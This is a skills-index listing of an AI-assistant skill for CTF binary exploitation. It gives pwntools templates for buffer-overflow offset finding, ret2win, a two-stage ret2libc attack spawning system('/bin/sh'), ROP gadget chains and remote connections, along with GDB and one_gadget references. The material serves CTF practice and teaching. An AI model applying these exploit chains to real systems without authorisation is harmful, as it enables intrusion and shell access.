pwn-exploits

Binary Exploitation Patterns

Safety Notice

This listing is imported from skills.sh public index metadata. Review upstream SKILL.md and repository scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "pwn-exploits" with this command: npx skills add g36maid/ctf-arsenal/g36maid-ctf-arsenal-pwn-exploits

Binary Exploitation Patterns

When to Use

Load this skill when:

  • Solving binary exploitation (pwn) CTF challenges

  • Working with buffer overflows and stack-based vulnerabilities

  • Building ROP (Return-Oriented Programming) chains

  • Writing shellcode or exploits

  • Using pwntools for exploitation

  • Analyzing binaries with GDB, checksec, or strings

Binary Analysis Workflow

Step 1: Static Analysis First

Always begin with static analysis before dynamic exploitation.

Search for interesting strings

strings ./vuln | grep -iE "flag|password|key|secret|admin"

Check binary protections

checksec ./vuln

Examine file type and architecture

file ./vuln

Why? Static analysis reveals:

  • Hidden functionality and backdoor functions

  • Hardcoded credentials or flags

  • Security mitigations (PIE, NX, Stack Canary, RELRO)

  • Architecture (32-bit vs 64-bit, calling conventions)

Step 2: Decompile with Ghidra/IDA

Batch decompile with Ghidra headless mode (RECOMMENDED)

./ghidra_headless/decompile_headless.sh ./vuln output.c

Or use Python wrapper (legacy)

python tools/decompile.py ./vuln

Or manually open in Ghidra GUI

ghidra

Key things to look for:

  • Dangerous functions: gets() , strcpy() , scanf() , read() with no bounds

  • Win functions: system("/bin/sh") , execve() , print_flag()

  • Buffer sizes vs input sizes

  • Comparison operations (password checks, admin checks)

Protection Analysis Table

Protection Status Exploitation Strategy

PIE Enabled Need address leak for code/data addresses

PIE Disabled Can use hardcoded addresses directly

NX Enabled Cannot execute shellcode on stack, use ROP

NX Disabled Can write shellcode to buffer and execute

Stack Canary Enabled Need canary leak or bypass technique

Stack Canary Disabled Direct buffer overflow exploitation

RELRO Full Enabled Cannot overwrite GOT entries

RELRO Partial Enabled Can overwrite GOT for hijacking

Exploitation Patterns

Pattern 1: Find Buffer Overflow Offset

from pwn import *

Generate cyclic pattern

io = process('./vuln') payload = cyclic(500) io.sendline(payload) io.wait()

After crash, examine core dump or GDB

Find the offset where control is hijacked

core = Coredump('./core') offset = cyclic_find(core.read(core.rsp, 4)) # x86_64

or

offset = cyclic_find(core.read(core.eip, 4)) # x86

log.info(f"Offset: {offset}")

Alternative: Manual offset finding

Use offset_finder.py from tools/

python tools/offset_finder.py ./vuln

Pattern 2: Basic ret2win (Call Win Function)

from pwn import *

exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) context.log_level = "debug"

Find win function address

win_addr = elf.symbols['win'] # or elf.symbols['print_flag']

Build payload

payload = flat({ offset: [ win_addr ] })

io = process(exe) io.sendline(payload) io.interactive()

Pattern 3: ret2libc (Leak + System)

Stage 1: Leak libc address

from pwn import *

exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6") rop = ROP(elf)

Build ROP chain to leak puts@GOT

payload = flat({ offset: [ rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['puts'], elf.plt['puts'], elf.symbols['main'] # Return to main for second exploit ] })

io = process(exe) io.sendline(payload) io.recvuntil(b"expected_output") leak = u64(io.recvline().strip().ljust(8, b'\x00')) log.info(f"Leaked puts@GOT: {hex(leak)}")

Calculate libc base

libc.address = leak - libc.symbols['puts'] log.success(f"Libc base: {hex(libc.address)}")

Stage 2: Call system("/bin/sh")

Find /bin/sh string in libc

bin_sh = next(libc.search(b'/bin/sh\x00'))

Build final ROP chain

payload2 = flat({ offset: [ rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps) rop.find_gadget(['pop rdi', 'ret'])[0], bin_sh, libc.symbols['system'] ] })

io.sendline(payload2) io.interactive()

Pattern 4: Auto-Switch Start Function

Use this template for all pwn scripts:

from pwn import *

exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw): """Start the exploit in different modes""" if args.GDB: gdbscript = """ b *main continue """ return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], int(sys.argv[2]), *a, **kw) else: return process([exe] + argv, *a, **kw)

Usage:

python solve.py # Local process

python solve.py GDB # Debug with GDB

python solve.py REMOTE IP PORT # Remote connection

Pattern 5: ROP Chain Construction

from pwn import *

elf = ELF("./vuln") rop = ROP(elf)

Method 1: Automatic ROP chain

rop.call('puts', [elf.got['puts']]) rop.call('main')

Method 2: Manual gadget selection

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] ret = rop.find_gadget(['ret'])[0]

payload = flat({ offset: [ ret, # Stack alignment pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] ] })

Quick Reference

Pwntools Essential Commands

Task Command

Generate cyclic pattern cyclic(500)

Find offset from crash cyclic_find(b'caaa') or cyclic_find(0x61616161)

Pack 64-bit integer p64(0x401000)

Pack 32-bit integer p32(0x08048000)

Unpack 64-bit bytes u64(data.ljust(8, b'\x00'))

Unpack 32-bit bytes u32(data.ljust(4, b'\x00'))

Launch with GDB gdb.debug([exe], gdbscript=script)

Connect remote remote(host, port)

Local process process([exe])

Build structured payload flat({offset: [gadget1, gadget2]})

Find ROP gadgets rop.find_gadget(['pop rdi', 'ret'])

Search bytes in binary next(elf.search(b'/bin/sh'))

Common ROP Gadgets (x86_64)

System call setup

pop_rdi = 0x400123 # pop rdi; ret (1st argument) pop_rsi = 0x400456 # pop rsi; ret (2nd argument) pop_rdx = 0x400789 # pop rdx; ret (3rd argument) pop_rax = 0x400abc # pop rax; ret (syscall number)

Stack alignment (REQUIRED for recent libc)

ret = 0x400001 # ret

Useful symbols

bin_sh = next(elf.search(b'/bin/sh\x00')) system = elf.symbols['system'] # or libc.symbols['system']

GDB Essential Commands

Pwndbg commands

checksec # Check binary protections vmmap # Memory mapping telescope $rsp 20 # Stack view cyclic 200 # Generate pattern cyclic -l 0x61616161 # Find offset rop # Search ROP gadgets rop --grep "pop rdi" # Filter gadgets got # GOT entries plt # PLT entries

Standard GDB

b *main # Breakpoint at address b *0x401234 x/20gx $rsp # Examine stack (64-bit) x/20wx $esp # Examine stack (32-bit) x/20i $rip # Disassemble info registers # Register values set $rax = 0 # Modify register

CTF-Specific Tips

Extract Flags Automatically

import re

def extract_flag(data): """Extract common CTF flag formats""" patterns = [ r'flag{[^}]+}', r'FLAG{[^}]+}', r'CTF{[^}]+}', r'picoCTF{[^}]+}', r'HTB{[^}]+}', r'[a-zA-Z0-9_]+{[a-zA-Z0-9_@!?-]+}', ]

text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
    match = re.search(pattern, text)
    if match:
        return match.group(0)
return None

Usage

io.recvuntil(b"output") data = io.recvall() flag = extract_flag(data) if flag: log.success(f"Flag: {flag}")

One-Gadget Usage

Find one-gadgets in libc (requires one_gadget gem)

one_gadget libc.so.6

Use in exploit

one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output payload = flat({offset: one_gadget})

Anti-Patterns (Avoid These)

❌ Don't: Skip Static Analysis

BAD: Jumping straight to buffer overflow without understanding the binary

offset = 72 # Guessed payload = b'A' * offset + p64(0xdeadbeef)

Why it's bad: You might miss:

  • Easier solutions (hardcoded flags, win functions)

  • Critical constraints (length checks, character filters)

  • Security mitigations that require different approaches

❌ Don't: Hardcode Addresses with PIE/ASLR

BAD: Hardcoded libc addresses

system_addr = 0x7ffff7a52290 # This won't work with ASLR

GOOD: Calculate from leak

libc.address = leak - libc.symbols['puts'] system_addr = libc.symbols['system']

❌ Don't: Forget Stack Alignment

BAD: Direct call to system() may crash

payload = flat({offset: [pop_rdi, bin_sh, system]})

GOOD: Add 'ret' gadget for alignment (movaps requirement)

payload = flat({offset: [ret, pop_rdi, bin_sh, system]})

❌ Don't: Ignore Error Messages

BAD: Blindly sending payload without checking responses

io.sendline(payload) io.interactive()

GOOD: Check for errors and debug

io.sendline(payload) response = io.recvuntil(b"expected", timeout=2) if b"error" in response or b"invalid" in response: log.error("Exploit failed, check payload") exit(1) io.interactive()

Bundled Resources

Templates

All templates use the auto-switch start function for easy testing:

  • templates/pwn_basic.py

  • Basic buffer overflow template

  • templates/pwn_rop.py

  • ROP chain + ret2libc template

  • templates/angr_template.py

  • Symbolic execution with angr

Tools

Helper scripts for common tasks:

  • tools/checksec_quick.sh

  • Quick security check wrapper

  • tools/offset_finder.py

  • Automated offset calculation

  • tools/leak_parser.py

  • Parse and format address leaks

  • tools/libc_lookup.py

  • Identify libc version from leaks

  • tools/rop_chain_skeleton.py

  • Generate ROP chain templates

  • tools/patch_ld_preload.sh

  • Patch binary to use specific libc

Ghidra Headless Decompilation

  • ghidra_headless/

  • Automated decompilation without GUI

  • ghidra_headless/decompile_headless.sh

  • Wrapper script for batch decompilation

  • ghidra_headless/DecompileCLI.java

  • Ghidra Java script for headless operation

  • ghidra_headless/README.md

  • Detailed usage and troubleshooting guide

Gadget Finders

  • gadgets/find_gadgets_ropgadget.sh

  • ROPgadget wrapper

  • gadgets/find_gadgets_ropper.sh

  • Ropper wrapper

  • gadgets/find_gadgets_rpplus.sh

  • rp++ wrapper

  • gadgets/one_gadget_notes.md

  • One-gadget usage guide

Quick References

  • references/quickref_gadgets.md

  • Common ROP gadgets reference

  • references/quickref_gdb.md

  • GDB command cheatsheet

  • references/gdb_cheatsheet.md

  • Detailed GDB guide

  • references/ret2libc_checklist.md

  • Step-by-step ret2libc guide

  • references/usage_guide.md

  • Tool usage instructions

GDB Configuration

  • gdb_init/
  • GDB initialization scripts for pwndbg, GEF, peda

Keywords

pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

General

web-exploits

No summary provided by upstream source.

Repository SourceNeeds Review
General

forensics-tools

No summary provided by upstream source.

Repository SourceNeeds Review
General

ics-traffic

No summary provided by upstream source.

Repository SourceNeeds Review
General

misc-tools

No summary provided by upstream source.

Repository SourceNeeds Review